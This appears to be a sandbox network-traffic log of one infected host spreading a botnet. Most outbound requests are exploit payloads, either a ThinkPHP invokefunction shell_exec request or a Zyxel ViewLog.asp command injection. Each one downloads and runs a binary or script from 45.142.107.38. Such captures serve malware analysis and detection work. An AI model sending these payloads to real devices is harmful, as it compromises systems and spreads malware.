Mar 4, 2024 15:07:07.574980974 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Mon, 04 Mar 2024 14:07:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	60010	88.221.179.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.751108885 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.908318996 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:07 GMT Date: Mon, 04 Mar 2024 14:07:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 66 33 65 31 32 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 32 32 37 26 23 34 36 3b 33 30 31 30 35 37 33 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.df3e1202.1709561227.30105739</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	41824	88.198.68.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:07.768948078 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:07.944024086 CET	516	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 14:07:07 GMT Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 240 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 4f 4f c3 30 0c c5 ef fd 14 66 27 38 10 97 6a 07 0e 51 24 58 3b 31 a9 8c 0a b2 03 c7 b4 31 a4 d2 96 84 24 e3 df a7 27 ed 34 09 59 b2 64 fb fd 9e 9e f9 45 fd b4 92 af 5d 03 0f f2 b1 85 6e 77 df 6e 56 b0 b8 46 dc 34 72 8d 58 cb fa 74 a9 58 89 d8 6c 17 a2 e0 26 1d f6 82 1b 52 3a 0f 69 4c 7b 12 cb 72 09 5b 97 60 ed 8e 56 73 3c 2d 0b 8e b3 88 f7 4e ff 4c dc 8d f8 a7 c9 53 c1 bd 90 86 20 d0 c7 91 62 22 0d bb e7 16 70 b4 9a be 99 37 1e be 54 04 9b 91 b7 09 01 67 21 99 31 42 a4 f0 49 81 71 f4 93 69 c8 4d 69 1d 28 46 71 e7 d5 60 08 2b 96 ab 82 cb 9a fa 51 d9 2b 78 99 01 50 09 74 5f b1 77 4a bf 83 f3 c4 06 77 80 ce 85 04 b7 25 c7 b3 45 0e 3d c7 cd 01 a7 37 8b 3f bc 8b 6b 1f 21 01 00 00 Data Ascii: MOO0f'8jQ$X;11$'4YdE]nwnVF4rXtXl&R:iL{r[`Vs<-NLS b"p7Tg!1BIqiMi(Fq`+Q+xPt_wJw%E=7?k!

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	47294	94.121.125.90	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:08.015594959 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	38594	95.86.64.118	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:08.017047882 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	51700	62.33.138.106	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:08.031676054 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:08.264803886 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:06 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	45216	31.43.60.77	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:08.215049028 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:08.416040897 CET	476	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 16:08:29 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	48688	62.29.60.40	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.004354000 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	59308	94.122.51.143	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.004631996 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	54814	62.7.82.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.172959089 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:10.038959026 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:11.062984943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:11.232130051 CET	711	IN	HTTP/1.0 404 Not Found !!! Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	34820	112.6.232.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.184240103 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.270982981 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.414985895 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:31.446997881 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.791050911 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.942873955 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	53080	94.63.140.35	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.191664934 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:09.379362106 CET	548	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:09 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	55874	62.29.84.205	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.218602896 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	52772	95.86.70.255	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.222776890 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	35520	94.120.220.159	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:09.222915888 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	45900	94.122.104.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:11.628324986 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	42588	94.123.158.120	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:11.642086029 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	52466	94.122.1.43	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:11.847718954 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	49312	88.119.162.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:13.196546078 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.391024113 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Mon, 04 Mar 2024 14:07:13 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 